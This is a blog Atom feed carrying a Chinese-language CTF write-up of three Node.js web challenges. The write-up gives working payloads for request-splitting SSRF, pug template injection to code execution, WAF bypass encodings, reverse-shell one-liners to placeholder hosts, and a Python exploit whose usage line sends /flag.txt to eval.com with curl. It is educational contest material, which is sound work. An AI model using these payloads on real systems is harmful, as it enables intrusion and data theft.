<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>丶诺熙丨5am3</title>
  
  <subtitle>Web安全/SDL答疑工程师</subtitle>
  <link href="https://blog.5am3.com/atom.xml" rel="self"/>
  
  <link href="https://blog.5am3.com/"/>
  <follow_challenge>
    <feedId>60858567984097301</feedId>
    <userId>66754777500722176</userId>
  </follow_challenge>
  <updated>2024-12-05T02:39:41.684Z</updated>
  <id>https://blog.5am3.com/</id>
  
  <author>
    <name>丶诺熙</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>近两次比赛遇到的node题目简析</title>
    <link href="https://blog.5am3.com/2020/02/11/ctf-node1/"/>
    <id>https://blog.5am3.com/2020/02/11/ctf-node1/</id>
    <published>2020-02-11T14:26:02.000Z</published>
    <updated>2024-12-05T02:39:41.684Z</updated>
    
    <content type="html"><![CDATA[<p>最近水了水国际赛(摸鱼选手)，两次比赛都出现了node的题目。感觉挺有意思的，拿来分析一下。</p><ol><li>HackTM CTF 2020 - Draw with us</li><li>nullcon HackIM 2020 - split second</li><li>自己出的 - node game</li></ol><span id="more"></span><h2 id="HackTM-CTF-2020-Draw-with-us"><a href="#HackTM-CTF-2020-Draw-with-us" class="headerlink" title="HackTM CTF 2020 - Draw with us"></a>HackTM CTF 2020 - Draw with us</h2><blockquote><p>Come draw with us!</p><p><a href="http://167.172.165.153:60000/">http://167.172.165.153:60000/</a></p><p>Author: stackola</p><p><strong>Hint!</strong> Changing your color is the first step towards happiness.</p><p>附件：<a href="https://pan.baidu.com/s/17Qa7bDkE9eceHsdj0g6BZg">https://pan.baidu.com/s/17Qa7bDkE9eceHsdj0g6BZg</a></p></blockquote><p>一道nodejs源码审计的题目。只要细心审计就OK的。</p><p>首先先分析路由。发现存在&#x2F;flag，直接跟进，看一下有什么验证。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">app.<span class="title function_">get</span>(<span class="string">&quot;/flag&quot;</span>, <span class="function">(<span class="params">req, res</span>) =&gt;</span> &#123;</span><br><span class="line">  <span class="comment">// Get the flag</span></span><br><span class="line">  <span class="comment">// Only for root</span></span><br><span class="line">  <span class="keyword">if</span> (req.<span class="property">user</span>.<span class="property">id</span> == <span class="number">0</span>) &#123;</span><br><span class="line">    res.<span class="title function_">send</span>(<span class="title function_">ok</span>(&#123; <span class="attr">flag</span>: flag &#125;));</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    res.<span class="title function_">send</span>(<span class="title function_">err</span>(<span class="string">&quot;Unauthorized&quot;</span>));</span><br><span class="line">  &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><p>在这里，要求user.id&#x3D;&#x3D;0，也就是说需要我们去伪造管理员身份。</p><p>继续分析，可以发现这题采用了jwt，jwt常见的攻击手法有两类</p><ul><li>拿到secretkey，进而伪造jwt。（爆破，信息泄露）</li><li>修改jwt加密头为none。</li></ul><p>详见<a href="https://xz.aliyun.com/t/2338">https://xz.aliyun.com/t/2338</a></p><p>在这里，经过尝试都不太行。但是继续分析路由接口。</p><p>可以发现init是个后门，serverInfo是个信息泄露，而updateUser是信息泄露利用的关键点。</p><p>整体逻辑为：通过updateUser，添加泄露点n，进而通过serverInfo获取信息。然后采用n来利用init这个后门。</p><p>接下来继续按刚才的逻辑分析。先来说一下serverInfo。</p><p>serverInfo将当前用户有权限的信息打印出来，其信息是从config里取出。</p><p><img src="http://img.5am3.com/5am3/img/20200205142502.png"></p><p>默认用户没有以上三个信息权限。由此可见p,n为敏感信息。进而去追他的利用链。</p><p>可以看到其在init中被调用，其md5值为target。然后和我们传入构造的pwHash作比较。之后执行了清空画板操作。所以猜测只要我们pwHash构造出来与target相等，即可伪造管理员。</p><p>继续往下看，可以看到113行这里，通过pwHash进而得到adminId，然后再121行返回admin的token。这正是我们想要的。</p><p>分析114，可以发现是将pwHash逐位于target做异或，然后累加，最终得到的即为adminId。</p><p>即我们要构造pwHash&#x3D;&#x3D;target即可让adminId&#x3D;0</p><p><img src="http://img.5am3.com/5am3/img/20200205142630.png"></p><p>此时逻辑已经清楚，那么我们如何得到n？</p><p>继续回到updateUser，想办法将n加入到我们的权限中。</p><p><img src="http://img.5am3.com/5am3/img/20200205143224.png"></p><p><img src="http://img.5am3.com/5am3/img/20200205143347.png"></p><p>分析updateUser，可以发现，其判断是否为admin，通过uid得到user对象，进而对username转化为小写作比较。</p><p>那我们是不是可以通过注册大写字母用户绕过？不存在的。在注册的时候，就已经对用户名做限制了。</p><p><img src="http://img.5am3.com/5am3/img/20200205143502.png"></p><p>此时有一个很奇怪的点。他们一个验证用的大写，一个验证小写。中间会不会出问题呢？也就是我们构造一个字符，符合下面条件</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">username.<span class="title function_">toUpperCase</span>() !== <span class="string">&quot;hacktm&quot;</span>.<span class="title function_">toUpperCase</span>()</span><br><span class="line">username.<span class="title function_">toLowerCase</span>() == <span class="string">&quot;hacktm&quot;</span>.<span class="title function_">toLowerCase</span>()</span><br></pre></td></tr></table></figure><p>其实是可以的，在字符转换中，有些奇奇怪怪的字符，也是会被转换的。</p><p>比如：在toUpperCase()函数中，字符<code>ı</code>会转变为<code>I</code>，字符<code>ſ</code>会变为<code>S</code>。在toLowerCase()函数中，字符<code>İ</code>会转变为<code>i</code>，字符<code>K</code>会转变为<code>k</code>。</p><p>此时我们便可构造<code>hacKtm</code>来绕过。</p><p>紧接着往下，我们可以发现185行，对权限做了黑名单校验。禁止我们加入n的权限。在这里，可以直接通过数组绕过。将p放到数组里。</p><p><img src="http://img.5am3.com/5am3/img/20200205144320.png"></p><p>至此，这道题基本已经OK了，接下来就是利用。</p><ol><li>注册<code>hacKtm</code>用户</li><li>调用updateUser接口。</li></ol><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span><span class="attr">&quot;color&quot;</span><span class="punctuation">:</span> <span class="string">&quot;0xDEDBEE&quot;</span><span class="punctuation">,</span> <span class="attr">&quot;rights&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="punctuation">[</span><span class="string">&quot;n&quot;</span><span class="punctuation">]</span><span class="punctuation">]</span><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><ol start="3"><li>调用serverInfo接口，获取n</li><li>调用init接口，传入p&#x3D;n，q&#x3D;1</li></ol><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/init</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>167.172.165.153:60000</span><br><span class="line"><span class="attribute">Accept-Encoding</span><span class="punctuation">: </span>gzip, deflate</span><br><span class="line"><span class="attribute">Accept</span><span class="punctuation">: </span>*/*</span><br><span class="line"><span class="attribute">Accept-Language</span><span class="punctuation">: </span>en</span><br><span class="line"><span class="attribute">Authorization</span><span class="punctuation">: </span>Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJiNTI3MjBkLTEyOGEtNDllYy1iMTc5LWU0NDUwZTdlODcxMSIsImlhdCI6MTU4MDg4NTQ1MH0.QKvGRVTj7IIpZvdtqPSpBNFFjl7woPBu7tSTI3gQLNo</span><br><span class="line"><span class="attribute">User-Agent</span><span class="punctuation">: </span>Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)</span><br><span class="line"><span class="attribute">Connection</span><span class="punctuation">: </span>close</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/json;charset=UTF-8</span><br><span class="line"><span class="attribute">Content-Length</span><span class="punctuation">: </span>314</span><br><span class="line"></span><br><span class="line"><span class="language-css">&#123;&quot;<span class="selector-tag">p</span>&quot;:<span class="string">&quot;54522055008424167489770171911371662849682639259766156337663049265694900400480408321973025639953930098928289957927653145186005490909474465708278368644555755759954980218598855330685396871675591372993059160202535839483866574203166175550802240701281743391938776325400114851893042788271007233783815911979&quot;</span>, <span class="string">&quot;q&quot;</span>:<span class="number">1</span>&#125;</span></span><br></pre></td></tr></table></figure><ol start="5"><li>拿到返回token，置入cookie中，请求&#x2F;flag接口</li></ol><p><img src="http://img.5am3.com/5am3/img/20200205145220.png"></p><h2 id="nullcon-HackIM-2020-split-second"><a href="#nullcon-HackIM-2020-split-second" class="headerlink" title="nullcon HackIM 2020 - split second"></a>nullcon HackIM 2020 - split second</h2><blockquote><p>Split that Shit<br><a href="http://web2.ctf.nullcon.net:8081/">http://web2.ctf.nullcon.net:8081/</a></p><p>源码：<a href="https://github.com/nullcon/hackim-2020/tree/master/web/split_second">https://github.com/nullcon/hackim-2020/tree/master/web/split_second</a></p></blockquote><p>打开题目，可以审查元素发现第一个hint。<br><img src="http://img.5am3.com/5am3/img/20200209124732.png"><br>然后<code>http://web2.ctf.nullcon.net:8081/source</code>拿到源码，开始代码审计之旅。</p><p>分析题目，可以发现主页基本没什么东西，而是通过请求<code>/core</code>这个接口，来获取内容，并添加至主页。</p><p>还是从源码入手。可以发现<code>/core</code>接口是直接请求<code>/getMeme</code>接口，获取到数据。此时传入了q参数。</p><p>然后可以发现存在<code>/flag</code>接口，分析后，可以发现是个后门。并且需要本地访问。</p><p>根据以上信息，我们可以推断出，利用<code>/core</code>接口，造成ssrf，进而访问<code>/flag</code>后门，获取flag。</p><p>那问题来了，我们如何去得到一个ssrf？<code>/core</code>中，我们可以操控的点只有参数q。</p><p>经过查询资料，最终发现其实题目名称就是一个hint。有一种攻击方式是：拆分请求来实现的SSRF攻击。<br>可以参考：</p><ul><li><a href="https://xz.aliyun.com/t/2894">通过拆分攻击实现的SSRF攻击</a></li><li><a href="https://hpdoger.cn/2019/12/01/I-SOON2019-Membershop%E5%87%BA%E9%A2%98%E6%80%9D%E8%B7%AF/">I-SOON2019-Membershop出题思路</a></li></ul><p>在这里就不细说了。</p><p>其实可以与CRLF注入类比一下。在这里，也是通过构造换行，来结束前一个请求，并构造出下一个请求。下面就是我们q的参数。我们只要成功注入，便会多一个发往flag的请求。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">x HTTP/1.1\r\n\r\nGET /flag HTTP/1.1\r\nadminauth: secretpassword\r\npug: #&#123;xxx&#125;\r\n</span><br></pre></td></tr></table></figure><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> <span class="string">/core?q=x</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"></span><br><span class="line"><span class="language-http"></span></span><br><span class="line"><span class="language-http"><span class="keyword">GET</span> <span class="string">/flag</span> <span class="meta">HTTP/1.1</span></span></span><br><span class="line"><span class="language-http"><span class="attribute">adminauth</span><span class="punctuation">: </span>secretpassword</span></span><br><span class="line"><span class="language-http"><span class="attribute">pug</span><span class="punctuation">: </span>#&#123;xxx&#125;</span></span><br><span class="line"><span class="language-http"></span></span><br></pre></td></tr></table></figure><p>在nodejs中，其实对换行操作做了处理，但是在node8及以下，在处理unicode字符存在问题。可以导致换行符出现。具体可以看<a href="https://xz.aliyun.com/t/2894">上面文章</a></p><p>我们可以构造如下样子，来造出换行符</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://example.com/\u&#123;010D&#125;\u&#123;010A&#125;/test</span><br></pre></td></tr></table></figure><p>可以通过以下js脚本，来进行编码。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">shellCodeRaw=<span class="string">&quot;\r\n&quot;</span></span><br><span class="line"><span class="keyword">var</span> shellCodeRawList = shellCodeRaw.<span class="title function_">split</span>(<span class="string">&quot;&quot;</span>)</span><br><span class="line"><span class="keyword">var</span> shellCodeAsciiList= [];</span><br><span class="line"><span class="keyword">for</span>(<span class="keyword">var</span> i=<span class="number">0</span>;i&lt;shellCodeRawList.<span class="property">length</span>;i++)&#123;</span><br><span class="line">tmp = shellCodeRawList[i].<span class="title function_">charCodeAt</span>()</span><br><span class="line">shellCodeAsciiList.<span class="title function_">push</span>(tmp.<span class="title function_">toString</span>(<span class="number">16</span>));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">shellcode=shellCodeAsciiList.<span class="title function_">join</span>(<span class="string">&quot;&#125;\\u&#123;01&quot;</span>);</span><br><span class="line">shellcode= <span class="string">&quot;\\u&#123;01&quot;</span>+shellcode+<span class="string">&quot;&#125;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">eval</span>(<span class="string">&quot;encodeURI(&#x27;&quot;</span>+shellcode+<span class="string">&quot;&#x27;)&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// \r\n --&gt; %C4%8D%C4%8A</span></span><br><span class="line"><span class="comment">// 空格 --&gt; %C4%A0</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 构造如下参数</span></span><br><span class="line"><span class="comment">//z%C4%A0HTTP/1.1%C4%8D%C4%8A%C4%8D%C4%8A%C4%8D%C4%8AGET%C4%A0/flag%C4%A0HTTP/1.1%C4%8D%C4%8A%C4%8D%C4%8A</span></span><br></pre></td></tr></table></figure><p>然后可以本地尝试以下。是否发出了两次请求。<br>由于原题目没有日志，我们修改源码，可以开启一下日志。添加如下两行即可。（记得<code>npm install morgan</code>)</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> morgan = <span class="built_in">require</span>(<span class="string">&#x27;morgan&#x27;</span>);</span><br><span class="line">app.<span class="title function_">use</span>(<span class="title function_">morgan</span>(<span class="string">&#x27;short&#x27;</span>));</span><br></pre></td></tr></table></figure><p><img src="http://img.5am3.com/5am3/img/20200209132217.png"></p><p>至此，ssrf已经get。接下来分析<code>/flag</code>接口。<br>可以看到，其传入了两个参数，都是以headers的形式。<br>adminauth是一个密码，pug则是我们要渲染的模板内容。<br>了解过ssti的同学一定不陌生模板这个东西。<br>在nodejs中，pug是一个模板引擎。其表达式形式为<code>#&#123;&#125;</code><br>(#因为其在url中特殊用途，所以需要按如上方式再次编码。)</p><p>我们只需构造我们的代码，来获取flag即可。</p><p>在这里我又陷入了一个深坑。<br>nodejs 的exec默认采用sh执行，而sh在不同系统指向也不同，主要分为bash和dash，如果在dash中执行以下命令反弹shell，是会出问题的。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bash -i &gt;&amp; /dev/tcp/10.0.1.98/7777 0&gt;&amp;1</span><br></pre></td></tr></table></figure><p>具体可参考：<a href="https://www.dazhuanlan.com/2019/11/15/5dce507a41df5/">解决ubuntu反弹shell失败的问题</a></p><p>解决方法：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bash -c <span class="string">&quot;bash -i &gt;&amp; /dev/tcp/evalip/2202 0&gt;&amp;1&quot;</span></span><br></pre></td></tr></table></figure><p>然后构造nodejs的反弹shell即可。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">global</span>.<span class="property">process</span>.<span class="property">mainModule</span>.<span class="built_in">require</span>(<span class="string">&#x27;child_process&#x27;</span>).<span class="title function_">exec</span>(<span class="string">&#x27;bash -c &quot;bash -i &gt;&amp; /dev/tcp/evalip/2202 0&gt;&amp;1&quot;&#x27;</span>)</span><br></pre></td></tr></table></figure><p>在pug模板中，不能直接用require，所以我们采用如上方式。</p><p>此时审查代码，可以发现这里有2个waf。<br><img src="http://img.5am3.com/5am3/img/20200209213857.png"></p><p><img src="http://img.5am3.com/5am3/img/20200209213933.png"></p><p>分别是，禁止列表内元素，以及禁止小写字母出现。</p><p>刚入门CTF时，大家可能都接触过，jsfuck，aaencode，jjencode，在这里，我分析以上三种编解码后，采取了jsfuck。</p><p>虽然jsfuck中存在<code>!</code>，但是我们根绝相关文档，可以将其替换为数字。<br><a href="https://www.bugku.com/tools/jsfuck/">jsfuck在线编码</a></p><p>其实有!号含义，主要有以下几种。我们可以一一替换一下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">false     =&gt;  ![]   =&gt; (1==0)</span><br><span class="line">true      =&gt;  !![]   =&gt; (1==1)</span><br><span class="line">1         =&gt;  !+[]   =&gt; (1)</span><br></pre></td></tr></table></figure><p>然后将我们的反弹shell的payload编码，然后将叹号做如上替换即可。<br>(先替换true，后替换false)</p><p>然后即可。最终payload如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">// [jscode] 为构造好的js语句</span><br><span class="line"></span><br><span class="line">x%C4%A0HTTP/1.1%C4%8D%C4%8A%C4%8D%C4%8A%C4%8D%C4%8AGET%C4%A0/flag%C4%A0HTTP/1.1%C4%8D%C4%8Aadminauth:%C4%A0secretpassword%C4%8D%C4%8Apug:%C4%A0%C4%A3&#123;[jscode]&#125;%C4%8D%C4%8A%C4%8D%C4%8A</span><br></pre></td></tr></table></figure><p>赛后看了一下主办方的wp，发现js这里编码很简单。自己搞的有点复杂了。字符太多了。学到了一个新姿势</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="comment">// 如下语法，可以当做eval使用。 </span></span><br><span class="line">[].<span class="property">constructor</span>.<span class="title function_">constructor</span>(<span class="params"><span class="string">&quot;evalcode&quot;</span></span>)(<span class="params"></span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">// js中.和[]可以替换</span></span><br><span class="line">[][<span class="string">&quot;constructor&quot;</span>][<span class="string">&quot;constructor&quot;</span>](<span class="string">&quot;evalcode&quot;</span>)()</span><br><span class="line"></span><br><span class="line"><span class="comment">// 在js中，字符串中，可以采用 \八进制数值</span></span><br><span class="line">[][<span class="string">&quot;\143\157\156\163\164\162\165\143\164\157\162&quot;</span>][<span class="string">&quot;\143\157\156\163\164\162\165\143\164\157\162&quot;</span>](<span class="string">&quot;evalcode&quot;</span>)()</span><br></pre></td></tr></table></figure><p>所以我们可以通过以上编码来进行绕过。此时因为引号在waf中，但这个waf我们可以直接二次url编码绕过。</p><p>再有，通过wp得知，pug模板不止<code>#&#123;&#125;</code>一种方式，还可以直接<code>- code</code>。</p><p>至此，本题所有知识点都已经介绍完。学到了很多新姿势。</p><p><img src="http://img.5am3.com/5am3/img/20200210123701.png"></p><h2 id="自己出的-node-game"><a href="#自己出的-node-game" class="headerlink" title="自己出的 - node game"></a>自己出的 - node game</h2><p>最近恰逢永信举办公益赛，出题没有太好的思路，恰好这两天比赛学到了点好玩的。</p><p>在比赛时，看到可以通过ssrf构造header头，便开始想了，可不可以构造上传呢？</p><p>当然是可以的，于是便有了这道题目。</p><p>在这道题目中，遇到了一个小问题，就是构造好payload后，无法正常使用。node端一直报无法获取参数、此时就很迷。<br>最后解决方式，是通过wireshark抓取loopback数据包，可以看到以下情况。</p><p><img src="http://img.5am3.com/5am3/img/20200211224328.png"></p><p>我们可以发现有些字符依旧是url编码。我们需要将它再重编码一下。<br>最后可得正确payload。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># exp.py</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"></span><br><span class="line">payloadRaw = <span class="string">&quot;&quot;&quot;x HTTP/1.1</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">POST /file_upload HTTP/1.1</span></span><br><span class="line"><span class="string">Host: localhost:8081</span></span><br><span class="line"><span class="string">User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0</span></span><br><span class="line"><span class="string">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8</span></span><br><span class="line"><span class="string">Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span></span><br><span class="line"><span class="string">Accept-Encoding: gzip, deflate</span></span><br><span class="line"><span class="string">Content-Type: multipart/form-data; boundary=---------------------------12837266501973088788260782942</span></span><br><span class="line"><span class="string">Content-Length: 6279</span></span><br><span class="line"><span class="string">Origin: http://localhost:8081</span></span><br><span class="line"><span class="string">Connection: close</span></span><br><span class="line"><span class="string">Referer: http://localhost:8081/?action=upload</span></span><br><span class="line"><span class="string">Upgrade-Insecure-Requests: 1</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-----------------------------12837266501973088788260782942</span></span><br><span class="line"><span class="string">Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;5am3_get_flag.pug&quot;</span></span><br><span class="line"><span class="string">Content-Type: ../template</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">- global.process.mainModule.require(&#x27;child_process&#x27;).execSync(&#x27;evalcmd&#x27;)</span></span><br><span class="line"><span class="string">-----------------------------12837266501973088788260782942--</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getParm</span>(<span class="params">payload</span>):</span><br><span class="line">    payload = payload.replace(<span class="string">&quot; &quot;</span>,<span class="string">&quot;%C4%A0&quot;</span>)</span><br><span class="line">    payload = payload.replace(<span class="string">&quot;\n&quot;</span>,<span class="string">&quot;%C4%8D%C4%8A&quot;</span>)</span><br><span class="line">    payload = payload.replace(<span class="string">&quot;\&quot;&quot;</span>,<span class="string">&quot;%C4%A2&quot;</span>)</span><br><span class="line">    payload = payload.replace(<span class="string">&quot;&#x27;&quot;</span>,<span class="string">&quot;%C4%A7&quot;</span>)</span><br><span class="line">    payload = payload.replace(<span class="string">&quot;`&quot;</span>,<span class="string">&quot;%C5%A0&quot;</span>)</span><br><span class="line">    payload = payload.replace(<span class="string">&quot;!&quot;</span>,<span class="string">&quot;%C4%A1&quot;</span>)</span><br><span class="line"></span><br><span class="line">    payload = payload.replace(<span class="string">&quot;+&quot;</span>,<span class="string">&quot;%2B&quot;</span>)</span><br><span class="line">    payload = payload.replace(<span class="string">&quot;;&quot;</span>,<span class="string">&quot;%3B&quot;</span>)</span><br><span class="line">    payload = payload.replace(<span class="string">&quot;&amp;&quot;</span>,<span class="string">&quot;%26&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Bypass Waf </span></span><br><span class="line">    payload = payload.replace(<span class="string">&quot;global&quot;</span>,<span class="string">&quot;%C5%A7%C5%AC%C5%AF%C5%A2%C5%A1%C5%AC&quot;</span>)</span><br><span class="line">    payload = payload.replace(<span class="string">&quot;process&quot;</span>,<span class="string">&quot;%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3&quot;</span>)</span><br><span class="line">    payload = payload.replace(<span class="string">&quot;mainModule&quot;</span>,<span class="string">&quot;%C5%AD%C5%A1%C5%A9%C5%AE%C5%8D%C5%AF%C5%A4%C5%B5%C5%AC%C5%A5&quot;</span>)</span><br><span class="line">    payload = payload.replace(<span class="string">&quot;require&quot;</span>,<span class="string">&quot;%C5%B2%C5%A5%C5%B1%C5%B5%C5%A9%C5%B2%C5%A5&quot;</span>)</span><br><span class="line">    payload = payload.replace(<span class="string">&quot;root&quot;</span>,<span class="string">&quot;%C5%B2%C5%AF%C5%AF%C5%B4&quot;</span>)</span><br><span class="line">    payload = payload.replace(<span class="string">&quot;child_process&quot;</span>,<span class="string">&quot;%C5%A3%C5%A8%C5%A9%C5%AC%C5%A4%C5%9F%C5%B0%C5%B2%C5%AF%C5%A3%C5%A5%C5%B3%C5%B3&quot;</span>)</span><br><span class="line">    payload = payload.replace(<span class="string">&quot;exec&quot;</span>,<span class="string">&quot;%C5%A5%C5%B8%C5%A5%C5%A3&quot;</span>)</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">return</span> payload</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">url,cmd</span>):</span><br><span class="line">    payloadC =  payloadRaw.replace(<span class="string">&quot;evalcmd&quot;</span>,cmd)</span><br><span class="line">    urlC = url+<span class="string">&quot;/core?q=&quot;</span>+getParm(payloadC)</span><br><span class="line">    requests.get(urlC)</span><br><span class="line">    </span><br><span class="line">    requests.get(url+<span class="string">&quot;/?action=5am3_get_flag&quot;</span>).text</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    targetUrl = sys.argv[<span class="number">1</span>]</span><br><span class="line">    cmd = sys.argv[<span class="number">2</span>]</span><br><span class="line">    <span class="built_in">print</span> run(targetUrl,cmd)</span><br><span class="line"></span><br><span class="line"><span class="comment"># python exp.py http://127.0.0.1:8081 &quot;curl eval.com -X POST -d `cat /flag.txt`&quot;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;最近水了水国际赛(摸鱼选手)，两次比赛都出现了node的题目。感觉挺有意思的，拿来分析一下。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;HackTM CTF 2020 - Draw with us&lt;/li&gt;
&lt;li&gt;nullcon HackIM 2020 - split second&lt;/li&gt;
&lt;li&gt;自己出的 - node game&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="信息安全" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
    
    <category term="writeup" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/writeup/"/>
    
    
    <category term="nodejs" scheme="https://blog.5am3.com/tags/nodejs/"/>
    
  </entry>
  
  <entry>
    <title>2019DDCTF  writeup</title>
    <link href="https://blog.5am3.com/2019/04/19/ddctf2019/"/>
    <id>https://blog.5am3.com/2019/04/19/ddctf2019/</id>
    <published>2019-04-19T03:04:00.000Z</published>
    <updated>2024-12-05T02:39:41.684Z</updated>
    
